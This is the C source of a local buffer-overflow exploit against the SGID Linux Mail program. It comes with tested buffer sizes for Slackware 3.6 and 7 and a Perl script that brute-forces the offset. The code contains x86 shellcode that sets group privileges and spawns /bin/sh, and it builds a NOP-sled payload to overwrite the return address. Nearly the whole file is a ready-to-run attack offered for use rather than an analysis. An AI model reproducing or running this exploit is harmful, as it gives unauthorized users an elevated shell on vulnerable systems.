/* (linux)Mail[8.1] local buffer overflow, by v9[v9@fakehalo.org].  this will
   give you a gid=12 shell if /usr/bin/Mail is SGID(=2755).  the mail group
   might as well just be given to users, since there are so many ways to get
   it without permission.  but, at least it's not elm again. :/

   note: you may have to change the buffer size to 8300(around) for slackware7
   and other newer distributions, the current default buffer size(1100) was 
   used on slackware3.6, and other older versions of distributions.  also,
   /usr/bin/Mail may not always be the path, you may have to change it to
   /bin/mail or /usr/bin/mail. -- tested on slackware3.6(buf=1100) and
   slackware7(buf=8300).

   syntax: ./Mail_bof [offset].

   here is a quick perl script(as always) to run offsets (until ctrl-c):
 
   #!/usr/bin/perl
   $i=$ARGV[0];
   while(1){
    print "offset: $i.\n";
    system("./Mail_bof $i");
    $i++; # or $i+=100;
   } */

#define PATH "/usr/bin/Mail"  // mail path. (maybe /bin/mail or /usr/bin/mail)
#define SIZE 1100    // change this to 8300 on slackware7/etc.
#define DEFAULT_OFFSET 650  // default offset, this worked on both bufsizes.
static char exec[]=    // from a elm exploit. (crazy, huh?)
 "\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1\x0c\x31\xc0\xb0\x47\xcd\x80\x31\xdb"
 "\x31\xc9\xb3\x0c\xb1\x0c\x31\xc0\xb0\x47\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31"
 "\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
 "\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
long esp(void){__asm__("movl %esp,%eax");}
int main(int argc,char **argv){
 char bof[SIZE];
 int i,offset;
 long ret;
 if(argc>1){offset=atoi(argv[1]);}
 else{offset=DEFAULT_OFFSET;}
 ret=(esp()+offset); // i'll be "normal" this time and add. :)
 printf("return address: 0x%lx, offset: %d.\ntype \".\" and press enter to overwrite the eip and spawn a shell.\n\n",ret,offset);
 for(i=0;i<SIZE;i+=4){*(long *)&bof[i]=ret;}
 for(i=0;i<(SIZE-strlen(exec)-200);i++){*(bof+i)=0x90;}
 memcpy(bof+i,exec,strlen(exec));
 if(execlp(PATH,"Mail","-s","x","-c",bof,"x",0)){printf("%s: failed, you sure the path is correct?\n",PATH);}
}